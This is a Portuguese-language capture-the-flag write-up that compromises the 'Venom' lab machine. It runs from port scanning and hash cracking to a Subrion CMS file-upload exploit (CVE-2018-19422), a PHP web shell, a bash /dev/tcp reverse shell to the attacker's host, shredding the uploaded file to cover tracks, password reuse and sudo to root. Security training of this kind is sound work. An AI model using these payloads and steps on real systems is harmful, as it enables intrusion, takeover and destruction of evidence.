Recon
Descoberta de hosts ativos
Scan de portas e serviços
Web
Inspeção do código-fonte para comentários suspeitos
FTP
Descoberta de novos domínios (web login)
CMS
Vulnerabilidade de upload de arquivos
Ler script para identificar como realizar o upload manualmente
Fazer upload de uma Web Shell (.phar)
PrivEsc
Reutilização de senhas (user pivot)
Análise do histórico de comandos
Reconhecimento de Rede
Descoberta de Hosts Ativos
Para iniciar o reconhecimento da rede, comecei com um ping sweep para identificar quais hosts estavam ativos. Usei o nmap com a opção -sn (ping scan) para realizar essa tarefa:
Copiar └─# nmap 10.0.2.1/24 -sn -T4 -n
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC )
Nmap scan report for 10.0.2.5
Host is up (0.0021s latency ). O scan revelou que a máquina alvo estava no IP 10.0.2.5. Esse foi o meu ponto de partida para os próximos passos.
Varredura de Portas e Serviços
Com o IP da máquina alvo em mãos, o próximo passo foi realizar um scan de portas para identificar quais serviços estavam ativos. Usei o nmap para escanear todas as portas TCP:
Copiar └─# nmap 10.0.2.5 -p- -sS --min-rate=5000 -v -n -Pn -oG tcp-portscan.txt
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC ) O scan revelou que as portas 21 (FTP), 80 (HTTP), 139 (NetBIOS), 443 (HTTPS) e 445 (Microsoft-DS) estavam abertas.
Para obter mais detalhes sobre os serviços em execução, executei um scan mais específico nas portas identificadas:
Copiar └─# nmap 10.0.2.5 -p 21,80,139,443,445 -sCV -v -n -Pn -oN tcp-scan.txt
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| _http-title: Apache2 Ubuntu Default Page: It works
| _http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
| _ Supported Methods: POST OPTIONS HEAD GET
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP )
443/tcp open http Apache httpd 2.4.29
| _http-title: Apache2 Ubuntu Default Page: It works
| _http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
| _ Supported Methods: POST OPTIONS HEAD GET
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP )
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC )
Service Info: Hosts: VENOM, 127.0.1.1 ; OS: Unix
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu )
| Computer name: venom
| NetBIOS computer name: VENOM \\ x00
| Domain name: \\ x00
| FQDN: venom
| _ System time: 2024-01-24T05:30:21+05:30
| nbstat: NetBIOS ; name: VENOM, NetBIOS user: < unknow n > , NetBIOS MAC: < unknow n > (unknown)
| Names:
| VENOM <00> Flags: < uniqu e>< activ e >
| VENOM <03> Flags: < uniqu e>< activ e >
| VENOM <20> Flags: < uniqu e>< activ e >
| \\x01\\x02__MSBROWSE__\\x02 <01> Flags: < grou p>< activ e >
| WORKGROUP <00> Flags: < grou p>< activ e >
| WORKGROUP <1d> Flags: < uniqu e>< activ e >
| _ WORKGROUP < 1 e > Flags: < grou p>< activ e >
| smb2-time:
| date: 2024-01-24T00:00:21
| _ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
| _ message_signing: disabled (dangerous, but default )
| smb2-security-mode:
| 3:1:1:
| _ Message signing enabled but not required
| _clock-skew: mean: -1h50m01s, deviation: 3h10m30s, median: -2s O scan revelou que os serviços encontrados eram:
Porta 21 (FTP): vsftpd 3.0.3
Porta 80 (HTTP): Apache httpd 2.4.29 (Ubuntu)
Porta 139 (NetBIOS): Samba smbd 3.X - 4.X
Porta 443 (HTTPS): Apache httpd 2.4.29 (Ubuntu)
Porta 445 (SMB): Samba smbd 4.7.6-Ubuntu
Além disso, o scan forneceu informações adicionais sobre o serviço NetBIOS/Samba , incluindo a versão do Samba e alguns detalhes sobre o sistema:
Nome do computador NetBIOS: VENOM
Sistema Operacional: Windows 6.1 (Samba 4.7.6-Ubuntu)
Esses detalhes foram cruciais para orientar o próximo passo na exploração da máquina.
Explorando o Servidor Web
Quando acessei o servidor web via navegador, encontrei a página padrão do Apache.
Em seguida, inspecionei o código-fonte da página e descobri um comentário contendo um hash suspeito:
Copiar └─# curl -s 10.0.2.5
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd>">
< html xmlns = "<http://www.w3.org/1999/xhtml>" >
<! --
Modified from the Debian original for Ubuntu
Last updated: 2016-11-16
See: < https://launchpad.net/bugs/128869 0>
-- >
< head >
... <SNIP>...
< /div >
< /div >
< div class= "validator" >
< /div >
< /body >
< /html >
<! ... <5f2a66f947fa5690c26506f66bde5c23> follow this to get access on somewhere.....- - > Identifiquei o hash como possivelmente MD5 usando a ferramenta hash-identifier:
Copiar └─# hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: 5f2a66f947fa5690c26506f66bde5c23
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4( MD4(($pass )).( strtolower($username ))) Com o hash identificado, usei o site Crackstation para decifrar o hash, obtendo a senha em texto claro: hostinger .
Explorando o FTP
Testando por tentativa e erro o termo "hostinger” como usuário e senha no FTP, conseguimos acesso:
Copiar └─# ftp 10.0.2.5
Connected to 10.0.2.5.
220 (vsFTPd 3.0.3 )
Name (10.0.2.5:kali): hostinger
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp > dir
229 Entering Extended Passive Mode ( ||| 47482 | )
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 21 2021 files
226 Directory send OK. Salvei essas credenciais para futuras referências:
Copiar └─# cat creds.txt
hostinger : hostinger - > ftp (founded via website source code - hash cracking )
Copiar └─# echo 'hostinger' | tee -a users.list pass.list
hostinger Dentro do diretório files, encontrei um arquivo chamado hint.txt.
Copiar ftp > cd files
250 Directory successfully changed.
ftp > dir
229 Entering Extended Passive Mode ( ||| 44062 | )
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 384 May 21 2021 hint.txt
226 Directory send OK.
ftp > get hint.txt
local: hint.txt remote: hint.txt
229 Entering Extended Passive Mode ( ||| 49810 | )
150 Opening BINARY mode data connection for hint.txt (384 bytes ).
100% |**************************************************************************************************************************| 384 148.86 KiB/s 00:00 ETA
226 Transfer complete.
384 bytes received in 00:00 (79.28 KiB/s )
ftp > exit
221 Goodbye. O arquivo hint.txt continha um domínio, o nome de usuário “dora”, dicas criptografadas, além de um desafio para de criptografar uma senha.
Copiar └─# cat hint.txt
Hey there...
T0D0 --
* You need to follow the 'hostinger' on WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=
* some knowledge of cipher is required to decode the dora password..
* try on venom.box
password -- L7f9l8@J#p%Ue+Q1234 - > deocode this you will get the administrator password
Have fun .. : ) Salvei "dora" e a senha criptografada como possíveis credenciais úteis:
Copiar └─# echo 'dora' | tee - a users .list
dora
└─# echo 'L7f9l8@J#p%Ue+Q1234' | tee - a pass .list
L7f9l8@ J #p % Ue + Q1234 Adicionei também o domínio ao arquivo /etc/hosts para facilitar o acesso:
Copiar └─# echo - e "10.0.2.5\\tvenom.box" | tee - a / etc / hosts
10.0 . 2.5 venom .box Acessando o Novo Domínio
Após acessar o domínio venom.box, percebi que ele resolve para um novo site, que inclui um painel de login:
Inspecionando as dicas que encontrei, notei que alguns textos estavam codificados em Base64. Decodifiquei um desses textos e obtive a dica de usar a cifra Vigenère para decodificar a senha:
Copiar └─# echo 'WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0=' | base64 -d | base64 -d | base64 -d
standard vigenere cipher Além disso, a decodificação de outro texto Base64 me levou ao seguinte site, que oferece uma ferramenta para decodificação usando a cifra Vigenère:
Copiar └─# echo 'aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=' | base64 -d
< https://cryptii.com/pipes/vigenere-cipher > Utilizando o site indicado e inserindo o texto cifrado junto com a chave hostinger, obtive uma credencial potencial:
Com essa senha e o usuário dora, consegui acessar o painel de login em venom.box, e de fato obtive acesso à conta de administrador, conforme indicado pelo arquivo hint.txt:
Salvei essa informação:
Copiar └─# cat creds.txt
hostinger : hostinger - > ftp (founded via website source code - hash cracking )
dora : E7r9t8@Q#h%Hy+M1234 - > venom.box login panel (founded via cipher decode )
Copiar └─# echo 'E7r9t8@Q#h%Hy+M1234' | tee -a pass.list
E7r9t8@Q#h%Hy+M1234 Explorando o CMS Subrion
No rodapé da página, observei que o site estava rodando o CMS Subrion versão 4.2:
Examinei o código-fonte da página e confirmei que a versão do CMS é 4.2:
Copiar <! DOCTYPE html >
< html lang = "en" dir = "ltr" >
< head >
< meta charset = "utf-8" >
< meta http-equiv = "X-UA-Compatible" content = "IE=Edge" >
< title >My Profile :: Powered by Subrion 4.2</ title >
...< SNIP >... Pesquisei vulnerabilidades conhecidas para esta versão do CMS usando o searchsploit e encontrei várias falhas de segurança, incluindo uma vulnerabilidade de upload de arquivos:
Copiar ┌──(root㉿kali )-[/home/kali/CTF]
└─# searchsploit subrion 4.2
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting | php/webapps/47469.txt
Subrion CMS 4.2.1 - 'avatar[path]' XSS | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF) (Add Amin) | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting | php/webapps/45150.txt
Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) | php/webapps/51110.txt
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results Decidi explorar a vulnerabilidade de upload de arquivos para executar código remoto. Utilizei o script de exploração disponível para a versão 4.2.1:
Copiar └─# searchsploit -m 49876
Exploit: Subrion CMS 4.2.1 - Arbitrary File Upload
URL: < https://www.exploit-db.com/exploits/4987 6>
Path: /usr/share/exploitdb/exploits/php/webapps/49876.py
Codes: CVE-2018-19422
Verified: False
File Type: Python script, ASCII text executable, with very long lines (956)
Copied to: /home/kali/CTF/49876.py O script pede uma URL base para o painel de administração, além de credenciais de usuário e senha:
Copiar └─# python3 49876.py -h
Usage: 49876.py [options]
Options:
-h, --help show this help message and exit
-u URL, --url=URL Base target uri < http://target/pane l >
-l USER, --user=USER User credential to login
-p PASSW, --passw=PASSW
Password credential to login Observando pelo navegador, o script busca abusar da funcionalidade de file upload, enviando assim uma webshell:
Ao executar o script com a URL do painel e as credenciais de dora, obtive sucesso na autenticação e na execução do ataque.
Com a webshell carregada, consegui executar comandos no servidor e confirmar que estava operando como www-data:
Copiar └─# python3 49876.py - u < http : //venom.box/panel/> --user=dora --passw=E7r9t8@Q#h%Hy+M1234
[ + ] SubrionCMS 4.2 . 1 - File Upload Bypass to RCE - CVE - 2018 - 19422
[ + ] Trying to connect to : < http : //venom.box/panel/>
[ + ] Success !
[ + ] Got CSRF token : n9uADf4PFgjwMkBlQ0ssCd3xpn2JXpLJzDiVXl6h
[ + ] Trying to log in...
[ + ] Login Successful !
[ + ] Generating random name for Webshell ...
[ + ] Generated webshell name : ednsffynwqaeveo
[ + ] Trying to Upload Webshell..
[ + ] Upload Success ... Webshell path : < http : //venom.box/panel/uploads/ednsffynwqaeveo.phar>
$ whoami
www - data
$ hostname - I
10.0 . 2.5 Ganho de Acesso
Depois de fazer o upload da webshell maliciosa com a funcionalidade de upload de arquivos, observei que o arquivo .phar foi carregado com sucesso:
Baixei o arquivo e verifiquei seu conteúdo. O script PHP no arquivo .phar permite a execução de comandos no sistema alvo através do parâmetro cmd:
Copiar └─# batcat / home / kali / Downloads / ednsffynwqaeveo .phar
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File : / home / kali / Downloads / ednsffynwqaeveo .phar
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ <? php system ($_GET[ 'cmd' ]); ?>
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Ao clicar com o botão direito no arquivo carregado e selecionar a opção "getsystem", verifiquei onde o arquivo estava acessível:
Para explorar a vulnerabilidade, acessei o arquivo através da URL da webshell, adicionando o parâmetro cmd para executar comandos no sistema:
Entendendo como a vulnerabilidade funciona, decidi modificar o arquivo para executar uma reverse shell. Substituí o código PHP pelo seguinte:
Copiar <? php system ( "bash -c 'bash -i >& /dev/tcp/10.0.2.17/443 0>&1'" ) ; ?> Isso faz com que a webshell se conecte de volta ao meu sistema na porta 443, estabelecendo uma conexão de shell reversa.
Depois de salvar as alterações, configurei meu listener para receber a conexão reversa:
Copiar └─# nc -nlvp 443
listening on [any] 443 ... Quando acessei a URL da webshell com o novo código, recebi uma conexão de shell reversa:
Copiar └─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.2.17] from ( UNKNOWN ) [10.0.2.5] 36328
bash: cannot set terminal process group (877): Inappropriate ioctl for device
bash: no job control in this shell
www-data@venom:/var/www/html/subrion/uploads$ whoami ; hostname -I
whoami ; hostname -I
www-data
10.0.2.5 Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:
Copiar www-data@venom:/var/www/html/subrion/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@venom:/var/www/html/subrion/uploads$ ^Z
zsh: suspended nc -nlvp 443 Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
Copiar └─# stty size
34 167 Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
Copiar ┌──(root㉿kali )-[/home/kali/CTF]
└─# stty raw -echo ; fg
[1] + continued nc -nlvp 443
reset xterm Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
Copiar www-data@venom:/var/www/html/subrion/uploads$ stty rows 34 columns 167
www-data@venom:/var/www/html/subrion/uploads$ export TERM=xterm SHELL=bash Escalada de Privilégios
Ao ganhar acesso à máquina, verifiquei o diretório de uploads e encontrei o arquivo .phar malicioso que havia carregado:
Copiar www-data@venom:/var/www/html/subrion/uploads$ ls -la
total 24
drwxr-xr-x 4 www-data www-data 4096 Jan 24 08:09 .
drwxr-xr-x 13 www-data www-data 4096 May 21 2021 ..
-rwxr-xr-x 1 www-data www-data 656 Jun 14 2018 .htaccess
drwxr-xr-x 2 www-data www-data 4096 May 20 2021 .quarantine
drwxrwxrwx 2 www-data www-data 4096 May 20 2021 .tmb
-rw-r--r-- 1 www-data www-data 68 Jan 24 08:14 ednsffynwqaeveo.phar Para cobrir meus rastros, usei o comando shred para excluir o arquivo de forma segura:
Copiar www-data@venom:/var/www/html/subrion/uploads$ shred -zun 5 -v ednsffynwqaeveo.phar
shred: ednsffynwqaeveo.phar: pass 1/6 (random)...
shred: ednsffynwqaeveo.phar: pass 2/6 (ffffff)...
shred: ednsffynwqaeveo.phar: pass 3/6 (random)...
shred: ednsffynwqaeveo.phar: pass 4/6 (000000)...
shred: ednsffynwqaeveo.phar: pass 5/6 (random)...
shred: ednsffynwqaeveo.phar: pass 6/6 (000000)...
shred: ednsffynwqaeveo.phar: removing
shred: ednsffynwqaeveo.phar: renamed to 00000000000000000000
shred: ednsffynwqaeveo.phar: removed Agora que estou com o usuário www-data, verifiquei a presença do usuário hostinger no sistema:
Copiar hostinger@venom:/home$ grep sh $ /etc/passwd
root:x:0:0:root:/root:/bin/bash
nathan:x:1000:1000:nathan,,,:/home/nathan:/bin/bash
hostinger:x:1002:1002:,,,:/home/hostinger:/bin/bash Movimentação Lateral
Notei que a senha do hostinger é a mesma usada anteriormente. Assim, acessei a conta do hostinger com a senha hostinger:
Copiar www-data@venom:/home$ su hostinger
Password: hostinger
hostinger@venom:/home$ Atualizei meu arquivo de credenciais para refletir todas as informações obtidas:
Copiar └─# cat creds.txt
hostinger : hostinger - > ftp (founded via website source code - hash cracking )
dora : E7r9t8@Q#h%Hy+M1234 - > venom.box login panel (founded via cipher decode )
hostinger : hostinger - > user system 10.0.2.5 (password reuse ) Adicionei também os usuários identificados para referência futura:
Copiar └─# echo "nathan\\nroot" | tee -a users.list
nathan
root Após obter acesso ao diretório /home/hostinger, eu observei que o diretório do usuário nathan não estava acessível devido a permissões restritas:
Copiar hostinger@venom:~$ ls /home/*
/home/hostinger:
Desktop Documents Downloads examples.desktop ftp Music Pictures Public Templates Videos
ls: cannot open directory '/home/nathan' : Permission denied No diretório de hostinger, encontrei o arquivo .bash_history, que continha comandos relacionados a um arquivo de backup:
Copiar ... <SNIP>...
find raj -exec "whoami" \\;
su root
which find
find nc
find find
cd /tmp
ls
touch raj
find raj -exec "whoami" \\;
cat /var/www/html/subrion/backup/.htaccess
su nathan
lls
s
ls
cat check_me.py
su nathan
cat /var/www/html/subrion/backup/.htaccess
su
clear
su nathanxec "whoami" \\;
su root
... <SNIP>... Fui até o arquivo /var/www/html/subrion/backup/.htaccess, que continha uma possível senha:
Copiar hostinger@venom:~$ cat /var/www/html/subrion/backup/.htaccess
allow from all
You_will_be_happy_now : )
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a Testei essa credencial e confirmei que era válida para o usuário nathan:
Copiar hostinger@venom:~$ su nathan
Password: FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
nathan@venom:/home/hostinger Atualizei o arquivo de credenciais para incluir a senha de nathan:
Copiar └─# echo 'FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a' | tee -a pass.list
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
Copiar └─# cat creds.txt
hostinger : hostinger - > ftp (founded via website source code - hash cracking )
dora : E7r9t8@Q#h%Hy+M1234 - > venom.box login panel (founded via cipher decode )
hostinger : hostinger - > user system 10.0.2.5 (password reuse )
nathan : FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a - > user system 10.0.2.5 (bash history leakage ) Com a credencial de nathan, agora posso acessar seu diretório home e encontrar a flag de usuário:
Copiar nathan@venom:/home$ cd nathan/
nathan@venom:~$ ls
Desktop Documents Downloads examples.desktop Music Pictures Public Templates user.txt Videos
nathan@venom:~$ cat user.txt
W3_@r3_V3n0m:P Obtendo Root
Após acessar a conta de nathan, verifiquei as permissões de sudo para entender quais comandos poderiam ser executados com privilégios de root. Descobri que nathan podia executar qualquer comando como root, com a exceção do comando /bin/su:
Copiar nathan@venom:~$ sudo -l
[sudo] password for nathan:
Matching Defaults entries for nathan on venom:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin
User nathan may run the following commands on venom:
( root ) ALL, !/bin/su
( root ) ALL, !/bin/su Como teste, utilizei sudo para iniciar uma shell com privilégios de root. Por exemplo, executei o comando whoami para verificar se realmente tinha privilégios de root:
Copiar nathan@venom:~$ sudo whoami
root Isso confirmou que eu tinha privilégios de root. Então, abri uma shell com sudo para executar comandos diretamente como root:
Copiar nathan@venom:~$ sudo bash
root@venom:~# id
uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root ) Com acesso root, pude acessar o arquivo de flag localizado no diretório /root:
Copiar root@venom:~# cat /root/root.txt
#root_flag
H@v3_a_n1c3_l1fe.
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.
